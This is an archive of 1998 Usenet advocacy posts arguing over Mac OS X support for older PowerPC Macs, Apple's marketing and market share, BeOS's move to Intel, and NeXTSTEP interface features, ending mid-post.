In article <Pine.SOL.3.96.980731232126.3174B-100000@ux10.cso.uiuc.edu>,
tokarek@uiuc.edu says...
> > I did overspeak. The counter position is that "the costs are minimal and
> > we know they will be minimal and so Apple should make promises based on
> > the fact that those costs will be minimal."
>
> Actually, it's not even that (at least for me). I want Apple to say that
> it is _considering_ support for these machines. I don't need a promise
> either way just yet. I want to hear Apple say that it understands the
> reasons for supporting these machines, but the determination of whether it
> is possible or reasonable cannot be made at this time.
>
The problem is that if Apple gives any wiggle room, there will be those
who will treat it as a guarantee that their machines will run OS X, and
the howls will be even louder if the announcement comes "nope, won't
run".
My old company, CE Software, went through similar problems. We first
announced a road map of where we were going in taking our LAN product
forward. As we took it to our customers, we found out that most of them
didn't want a LAN product, they wanted an open standards/POP product.
So, we retracted the road map and instead started switching. And we got
lots of very valid complaints from people who relied on it. People then
asked me at trade shows if there was anything that could be done to get
some of the old plans done for the LAN. I told them that we were still
nailing down our plans, it was possible but we didn't know. When the
plans were nailed down and those weren't possible, I got angry calls and
angry emails saying "but you promised at the expo...."
So, no, you will not hear an announcement that they are considering older
machines. The only announcement you will hear would be if they were sure
they will support them, and then the announcement will be "yes we're
going to do it." Statements of "considering" just are really bad
business.
Instead, you have my word that I have the word of people I trust that
this is under consideration. You also must assume that those doing it
aren't idiots, and they've gotten the emails and snail mail letters and
gotten reports from the newsgroups and read the press. They know there's
a market out there if they do and they know there will be alienated
customers if they won't. Even just under pure self-interest, only an
idiot wouldn't seriously consider it.
Donald
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-0YUgdkuqDgb9@slip-202-135-184-69.hk.hk.ibm.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
References: <FIiROLCWddLd-pn2-n21cbhjvZcL6@localhost> <B1E7A6C7-52414@206.165.43.145>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 1 Aug 1998 14:56:34 GMT
Organization: IBM.NET
On Fri, 31 Jul 1998 23:52:20, "Lawson English" <english@primenet.com>
thought aloud:
> taiQ <pit@iohk.SPAM-NOT.com> said:
>
> >Where can one find the list of these supported systems?
>
> Systems shipping as of Jan 1, 1997.
>
> That's the list.
And nowhere in Rhapsody documentation these systems are listed as
supported or as to be supported?
If that really is the case, then maybe it's time to rephase: Where can
one find a list of systems shipping on or after Jan 7, 1997?
(Macworld opened on Jan 7th... ;-)
Rgds,
--
taiQ
[this space is intentionally blank]
From: basilbub@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 01 Aug 1998 15:57:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pvdte$48b$1@nnrp1.dejanews.com>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> <joe.ragosta-3007980755240001@wil34.dol.net>
At this point, the only thing that Jean-Louis seems to be generating is
interviews.
In article <joe.ragosta-3007980755240001@wil34.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <6ooslo$scj@sjx-ixn4.ix.netcom.com>, Jonathan Hendry
> > <jhendry@subsequent.com> wrote:
> >
> > > At the very least, this way Apple gets to keep up with the PC
> > > market. If they try to go proprietary, there's a huge risk
> > > of falling behind if the PC market takes an unexpected turn.
> >
> > They will fall behind anyway because by using the incompatible
> > PPC chip, Apple is on the outside of the mainstream computer
> > biz looking in.
>
> When is PPC going to fall behind x86? As a laptop/fire starter
> combination? Sure. But for chip performance, PPC hasn't fallen behind and
> doesn't look to fall behind any time soon.
>
> > >
> > > Apple's revenues are not in free-fall. They're flat.
> >
> > A 20% drop this quarter is flat? You speak strangely, friend.
>
> From quarter to quarter, it's flat.
>
> > > Apple wouldn't last three years if they get tangled up with
> > > some partner. It'd be a death sentence. They have far, far
> > > better chances of surviving on their own.
> >
> > Then, I'm afraid, long run, they have NO chance. (just my opinion Maury!)
>
> This is silly. Apple's prospects today are better than they've been for a
> long time.
>
> What will happen if Apple gets tangled up with a partner?
>
> Taligent
> Pink
> CHRP
>
> You could argue all sorts of reasons why those failed, but in every case,
> it was a matter of trying to design a horse by committee.
>
> --
> Regards,
> Joe Ragosta
> http://www.dol.net/~Ragosta/complmac.htm
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: ckoller@worldnet.att.net (Craig(nospam)Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 1 Aug 1998 16:10:23 GMT
Organization: AT&T WorldNet Services
Message-ID: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net>
In article
<macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> From todays santa barbara news press, editorial page, a readers letter:
> <title> Working on Apple's newest G3, and loving it </title>
> As a long-time reader and techno-guy (uh huh, yes you are just so wise, mr
> g3's are at least twice as fast as a intel 400 mhz pc), I wonder why the
> weekly monday featrure on computer related issues in the News-Press is so
> unfriendly toward Appel computers.
> The article on the recent Macworld show typifies the negative attitude
> and dismissal of Macs as a viable entity in the hi-tech world.
> Peter Lewis, author of the biased and misinformed article, obviously
> has never seen or used the new Macintosh g3, which is at least twice as
> fast (sic) as a 400 mhz intel pc.
Interesting. The Ads say the "chip" is "up to twice as fast" and our
friend says the computer itself is "at least" twice as fast. Pretty broad
discrepancy huh, although you gotta admire the guy for his enthusiasm -
only because this is a Mac advocacy group (if he said the Mac could turn
water into Snapple I'd be even more impressed).
But consider these two bullets that boneheaded media trolls use ad
infinitum, ad nauseum: "Betamax" and "Apple is dying." Hey, if it takes
equal slight of hand to counter the existing FUD. So be it. I won't
perpetuate it mahself, but I can see others doing so... it's just the way
of the world.
[snip]
>
> Well, the good news is APple's commercials ARE most definitely working.
> The CLUELESS are buying it hook line and sinker, which while bothering me
> for intellectual reasons (ie its not true), makes me happy in that it
> should brighten Apple's prospects. If these ads cause apple to skyrocket
> in total marketshare to %10 or %20 (worldwide marketshare is only %3 now),
> I would be very happy.
Yeah, I'd say I have to agree with you. Don't be fooled, there's no way
Apple could get away with making untrue statements about its products in
relation to Wintel (there's way too many ravenous lawyers who'd *love* a
piece of that action). But it's human nature for folks to take the
propaganda and blow it out of proportion.
>
> Apple increasing its marketshare is a GOOD THING, even if it causes
> idiots to spew such idiotic comments. And this guys comment is as
> stupid as a wintel person bragging about how the p2 chip causes the
> computer to have "more vibrant colors".
God, I LOVED that one! I still have carpet burns on my back from rolling
on the floor laughing...
>
> This letter greatly bothers me, in that utterly stupid comments bother me,
> but does also show that APple's mindshare is increasing.
>
Mindless-share is a critical *part* of mindshare. ;@)
>
> (NOTE, I tried to figure out what "rodger Dawson's" email address was so I
> could send a copy of this to him so he would have a chance to reply, but
> the only rodger dawson I found was back east. So instead I only emailed
> it to another official at sbhs (the advisor to the santa barbara high
> school arts and technology workshop, which is the most similiar thing to
> multi-media Arts & Technology Academy at Santa Barbara High School I could
> find , in case he knew the above person and wanted to forward it to him,
> so Mr Dawson could reply back to my comments in comp.sys.mac.advocacy
Oh, c'mon, we all knew that this Dawson fellow is yet another pseudonym
used by Joe Ragosta to spread the gospel... mindless though it might be.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 1 Aug 1998 16:55:11 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pvh9f$iqi$1@nnrp03.primenet.com>
References: <6odhav$6iu$1@server.signat.org> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net>
<6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> <joe.ragosta-3007980755240001@wil34.dol.net>
<6pvdte$48b$1@nnrp1.dejanews.com>
basilbub@my-dejanews.com wrote:
: At this point, the only thing that Jean-Louis seems to be generating is
: interviews.
Compared to whom exactly, dweebs in newsgroups?
Three or four years ago it was "impossible" to get funding, build a team,
and introduce a new end-user operating system. Jean-Louis did it. No one
else has. His project is still progressing, his user base is expanding,
and he is hiring more engineers to take the OS further. I think that's
pretty good for a start.
I find it terribly sad that dweebs in newsgroups try to cast Be as a
failure by demanding more than the impossible. They demand impossiblity
squared, that Be kick Microsoft in the bottom, or something.
I am not into the whole computer-hero cult of personality thing, but I do
recognize that <insert cult figure here> has accomplished more on a
grander scale that I. I think the proper response it to try to create
more myself, rather than to diminish the achievements of others.
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 1 Aug 98 10:22:56 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E89D04-EEEE@206.165.43.118>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.a
tt.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.intel,
nntp://news.primenet.com/comp.os.ms-windows.advocacy
Craig(nospam)Koller <ckoller@worldnet.att.net> said:
>
>Oh, c'mon, we all knew that this Dawson fellow is yet another pseudonym
>used by Joe Ragosta to spread the gospel... mindless though it might be.
Well, he didn't mention GX, so you know it wasn't me...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 01 Aug 1998 13:45:56 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35C35448.51FE@bellatlantic.net>
References: <joe.ragosta-3107981038520001@wil31.dol.net> <B1E7A5F3-4F23F@206.165.43.145>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Lawson English wrote:
>
> Pretend that it takes 10 bodies per computer model to
> adequately test that model and that each body costs
> $1 million per year.
>
> OK, that's $10 million per model.
>
> Assume 10 models, and that's $100 million.
>
> Actually, the cost of keeping an engineer at Apple
> is said to be roughly $250,000. So that's really
> only $25 million.
>
> And I doubt that it would take 10 bodies to test
> each system.
>
> At the low end, it would take one body per system,
> which would cost Apple $2.5 million to test 10 systems.
> At the high end, 10 bodies per system, or $25 million.
>
> So $2.5 to 25 million for testing costs plus whatever
> else it would cost to actually make sure that everything
> worked right.
> ...
> So why isn't Apple targeting 604e owners for MacOS X? ...
> They want all powerusers to upgrade immediately in order
> to use MacOS X.
This is a pretty convincing argument until you finish the
calculations. If The worldwide market for computers is
on the order of 5% of the world population, 250,000,000
seats, and Apple has 4% of that market, 10,000,000 seats,
and 50% of Apple users are in the high end that would own
a 604 based machine, 5,000,000 seats, and Apple gets $50
on each sale of MacOS X, then we have a total revenue for
a 604 capable version of MacOS X of $250,000,000 for the
extra effort. If your figure is off only by a factor of
10, then it doesn't make economic sense for Apple to do it.
I would even bet that my numbers are a little high, in at
least one element (% world population buying computers,
% global market-share to Apple, or % of Apple users that
are high end users). I would say that the argument for
Apple persuing a 604 version of OS X is pretty ambiguous.
Even if we could get together a fair number of Mac users
who would prepay for the 604 version of OS X, it would
probably not be enough to make it a worthwhile venture.
Especially if you consider the revenue Apple gets from
"encouraging" the 604 users to upgrade to a G3 (where
all the engineering expense is a spent cost). The revenue
from hardware upgrades has got to be something like $500
to $1000 per seat, compared to $50 per seat for the OS
upgrade alone. Now we're not even talking ambiguity, we
are talking outright fiscal irresponsability if Apple
were to take any other course.
- Jeff Dutky
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 1998 18:01:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pvl67$5ms@news1.panix.com>
References: <35c0cd24.0@news.depaul.edu> <B1E65ACA-20BAA@206.165.43.108> <6pshr0$2r2$1@bartlet.df.lth.se> <35C22822.C641FEEB@earthlink.net> <joe.ragosta-3107982005300001@elk71.dol.net>
On Fri, 31 Jul 1998 20:05:28 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>Well, the switch to Intel will just make Be's failure that much quicker.
Huh? They moved from an 8-12 mil target market to a 100 mil target market.
>If they can't compete with Apple, how do you expect them to compete with
>Microsoft?
By that logic, Apple should have shut its doors in '96. They haven't been
able to compete with MS all that well either.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 1 Aug 1998 18:01:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pvl64$5ms@news1.panix.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news> <6pt4vl$5sv$3@lwnws01.ne.highway1.com>
On 31 Jul 1998 19:12:53 GMT, John Kheit <jkheit@mediaone.net> wrote:
> I *am* complaining that a UI designed to work
>well on a 640X480 resolution will not scale well, nor work as well as a UI
>designed to work at 1024X768 on up.
John, I agree that Apple needs to address UI scalability in MacOSX; but, I
think it would be a mistake to just use the OpenStep UI. Sales of Windows
show that the masses would rather use something they know than something that
is better.
IMHO, Apple should make the UI much more malleable, and allow the use of
OpenStep UI elements to substitute "Classic MacOS" elements. Power users will
adopt these, and the sheeple will follow as they become more common.
>I would hate to limit a formula 1 car with a
>stock porsche UI--having a relatively long throw gear box rather than the
>semi-automatic trip, the seating stance which would keep the car from being
>aerodynamic, all the niceties that add weight, etc etc.
Tiptronic-S (sp?) is a good case in point. Using a stick in New York City
sucks. Using automatic on the highway sucks. Tip-S isn't as responsive as a
good short-throw gearbox (YMMV, I am basing this on the Boxster) but it is
better than either "auto on the highway" or "stick in the city".
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 1 Aug 1998 18:01:41 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pvl65$5ms@news1.panix.com>
References: <andyba-ya02408000R2907981014580001@news> <1998073004311700.AAA06296@ladder01.news.aol.com> <id_est-3007980242260001@192.168.1.3> <6pppf3$m4m$1@nnrp1.dejanews.com>
On Thu, 30 Jul 1998 12:37:55 GMT, spagiola@my-dejanews.com
<spagiola@my-dejanews.com> wrote:
>Agreed. I love NeXTSTEP's tear-off menus -- the result is so much more
>usable, to my mind, than an icon bar full of very tiny and not always very
>clear icons.
I find that it is a lot more consistent to re-use menus as toolbars than
to duplicate menu functionality with toolbars. But...
>The one way in which I think NeXTSTEP's tear-off menu system could be improved
>is by allowing tearing off of individual menu items, rather than being limited
>to sub-menus. Often all I want is one or two items. With that change, I could
>then build up my own on-screen action bar with all the menu items I use most.
I do this in MS Apps all the time! I can build custom toolbars with any items
from the menu I want, or VBScripts and have them floating on the screen. VS 5.0
and latter even lets you make them "menus" with text descriptions rather than
icon based toolbars. I would love to see AppKit extened to provide this in YB
Apps.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 1998 18:01:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pvl66$5ms@news1.panix.com>
References: <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu> <01bdb9f3$8703da10$3643bacd@isdnjhendry>
On 28 Jul 1998 01:45:47 GMT, Jonathan Hendry <jhendry@cmg.fcnbd.com> wrote:
>Note that Matrox's latest, and very, very fast 2d/3d cards apparently only
>come in AGP
>versions. No PCI.
They support PCI 2.1, but Matrox isn't building any PCI based versions at
first. They claim "lack of demand". I wonder how many people will want/need
to have two video cards and be shut out due to everyone moving to AGP?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 98 11:15:06 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E8AAE7-43242@206.165.43.118>
References: <35C35448.51FE@bellatlantic.net>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
You're figuring from the wrong end because we don't have to go with
percentages of world-wide computer sales, but with the known number of
computers sold by Apple since Jan 7, 1997 minus the known number of G3
computers sold. THAT is the number of computers that Apple promised would
support Rhapsody. We can guesstimate the number of 604/604e-based computers
from THAT and not from some "percentage of world-wide computer sales."
Now, there's more to the argument than simply the number of boxes and how
many 604/604e owners would actually upgrade, although if it is as few as 1
million, Apple at least breaks even.
The more important issue is integrity, establishing a reputation by new
management for keeping promises made by old management, and the simple,
totally pragmatic intent of keeping 604e-owners, current and potential, in
the Apple fold.
If Apple produces a MacOS X for 604/604e Macs, most 604x-owners WILL
eventually upgrade to it in order to run the latest software. Moreover, the
ability to run the latest software will make 604/604e Macintoshes more
attractive in the resale market since users will be confident that their
second-hand computer will run the latest and greatest. This will make THEM
and the people selling them the used 604/604e more likely to purchase a NEW
computer from Apple to run the latest Carbon/YB-based software, rather than
migrating to WIntel, which is STILL a very serious issue for Apple.
My figures are NOT off by a factor of 10, by the way. Suggesting that one
body per system tested might be low is plausible. Suggesting that TEN
bodies is low by a factor of 10 is ludicrous.
Apple has enough cash to do the testing. They WILL make enough from
604/604e-owners to make it worthwhile, monetarily-speaking, to produce X
for 604/604e owners.
They will make MORE money, in the long run, by selling X to 604/604e owners
now, as well as future X upgrades, as well as future hardware upgrades both
to current and future owners of 604/604e systems than they will make in the
short run by trying to force their high-end users (90% of those who bought
604/604e systems fit into the mid/high-end user category) to convert to G3
systems in order to run MacOS X because they will alienate a substantial
portion of current owners and completely lose credibility with all future
604/604e-owners.
Supporting 604/604e-owners with MacOS X isn't just a good idea: it is vital
to the long-term growth of the company in the DTP industry.
Jeffrey S. Dutky <dutky@bellatlantic.net> said:
>If The worldwide market for computers is
>on the order of 5% of the world population, 250,000,000
>seats, and Apple has 4% of that market, 10,000,000 seats,
>and 50% of Apple users are in the high end that would own
>a 604 based machine, 5,000,000 seats, and Apple gets $50
>on each sale of MacOS X, then we have a total revenue for
>a 604 capable version of MacOS X of $250,000,000 for the
>extra effort. If your figure is off only by a factor of
>10, then it doesn't make economic sense for Apple to do it.
>I would even bet that my numbers are a little high, in at
>least one element (% world population buying computers,
>% global market-share to Apple, or % of Apple users that
>are high end users).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Doug McDonald <mcdonald@aries.scs.uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 01 Aug 1998 13:33:02 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <35C35F5E.D7DF78A8@aries.scs.uiuc.edu>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net>
Mime-Version: 1.0
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Joe Ragosta wrote:
>
> > We're not talking about running Mac OS X on a IIsi Joe, we're talking
> > about running it on very recent hardware which was only recently
> > discontinued. Combine that with no real reason why this OS couldn't run
> > on these systems, and it makes it that much worse.
>
> There _is_ a reason. It's been explained over and over. The cost of
> putting Mac OS X onto older hardware and supporting it is too high for
> Apple in its current condition to support.
>
> --
> Regards,
> Joe Ragosta
Joe, you are a wonderful salesman for Microsoft!
Thank for for so succinctly pointing out why it is folly to
buy from Apple!
I certainly would not want to buy from a company in such bad shape
that it can't even support recent products!
Doug McDonald
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 98 11:40:50 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E8AF4A-53A38@206.165.43.118>
References: <6pvl67$5ms@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Sal Denaro <sal@panix.com> said:
>On Fri, 31 Jul 1998 20:05:28 -0400, Joe Ragosta <joe.ragosta@dol.net>
>wrote:
>>Well, the switch to Intel will just make Be's failure that much quicker.
>
>Huh? They moved from an 8-12 mil target market to a 100 mil target
>market.
>
It's harder to support WIntel hardware because of the myriad models. That's
why MacOS X is Mac-only, remember?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: kdb@xena.ece.utexas.edu (Kurt D. Bollacker)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Followup-To: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 1 Aug 1998 18:44:17 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6pvnm1$4f0$1@geraldo.cc.utexas.edu>
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com> <6pns4i$bhj$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote:
: In practice, the main app that doesn't have a close equivalent in the Mac
: world seems to be Improv. All other apps (that I use, at least) either have
: an announced Rhapsody port or a close equivalent Mac app (which will run in
: the Blue Box, and perhaps eventually under Carbon).
Not just Improv--there are several NeXTSTEP apps that have no or only poor
equivalents under MacOS. Here's a list of things I'd lose under MacOSX
1. Native GUI Emacs. The MacOS version is old and pathetic.
2. SciPlot. Is there an equivalent?
3. DarkForest. An unmatched tool.
4. Yap. Is there a Postscript debugger for MacOS?
5. Stuart. There is no decent MacOS terminal emulator.
If anyone has better knowledge about this than me, please enlighten me.
However, I fear that I'll probably fall back to Linux when my trusty
NeXTStation finally fails.
......................................................................
: Kurt D. Bollacker University of Texas at Austin :
: kdb@pine.ece.utexas.edu P.O. Box 8566, Austin, TX 78713 :
:....................................................................:
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 1 Aug 1998 19:05:45 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pvou9$5m3$1@lwnws01.ne.highway1.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news> <6pt4vl$5sv$3@lwnws01.ne.highway1.com> <6pvl64$5ms@news1.panix.com>
sal@panix.com (Sal Denaro) wrote:
> On 31 Jul 1998 19:12:53 GMT, John Kheit <jkheit@mediaone.net>
> wrote:
> > I *am* complaining that a UI designed to work
> >well on a 640X480 resolution will not scale well, nor work as
> >well as a UI designed to work at 1024X768 on up.
>
> John, I agree that Apple needs to address UI scalability in
> MacOSX; but, I think it would be a mistake to just use the OpenStep
> UI. Sales of Windows show that the masses would rather use
> something they know than something that is better.
Sal, I'm not advocating for apple to use the OPENSTEP UI. Ideally what *I*
would like to see is a brand new UI that is completely designed based on
merit, rather than on any notions of habit, tradition, nastalgia, etc. Since
we're going to have this Theme Manager, I'd like to see this new "best" UI
set up as the default choice; it could be as subtle as during the install
process a wizard would ask which theme you want as default, and the supernew
ui would be highlighted. Further, it would be great if the theme manager
provided win3, win95/98, mac classic, next classic, openstep 4.0a, and other
themes. And I'm not just talking pretty paint themes, I'm talking real
functionality. This would work as a gentle prod for users to try the new
"best" UI from apple, but if they really want to stick to the old UI, they
are free to do so. Of course, this will never happen.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 1 Aug 1998 19:08:56 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pvp48$5m3$2@lwnws01.ne.highway1.com>
References: <MPG.102cdcef3b927c5d989a6e@news.supernews.com>
don.brown@cesoft.com (Donald Brown) wrote:
> macghod@concentric.net says...
> > In article <6pm5nd$a5v$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > wrote:
> >
> > > Um, no I wasn't. I didn't have to win much in the way of
> > > money. $1 would have been enough if he contended it, b/c it
> > > would have cost him dearly; I believe it should cost you
> > > something in the end if you mischaracterize what others say
> > > with no admission of fault or remorse
> >
> > And how would $1 cost him dearly? Because the judge agreed
> > with you that he was acting inappropriately and your good name
> > was polished by the judge? I dont think so, Joe would just
> > claim the judge is a pc using wintel troll who was out to get
> > him because macs gave the judge a inferiority complex ;)
> >
> Actually, if someone sued me for $1, I'd not show up so as to
> have a default judgement. I'd then pay the buck and think about
> how much the plaintiff spent in legal fees to get that buck.
Who said that would be the amount in the complaint. I said if I were awarded
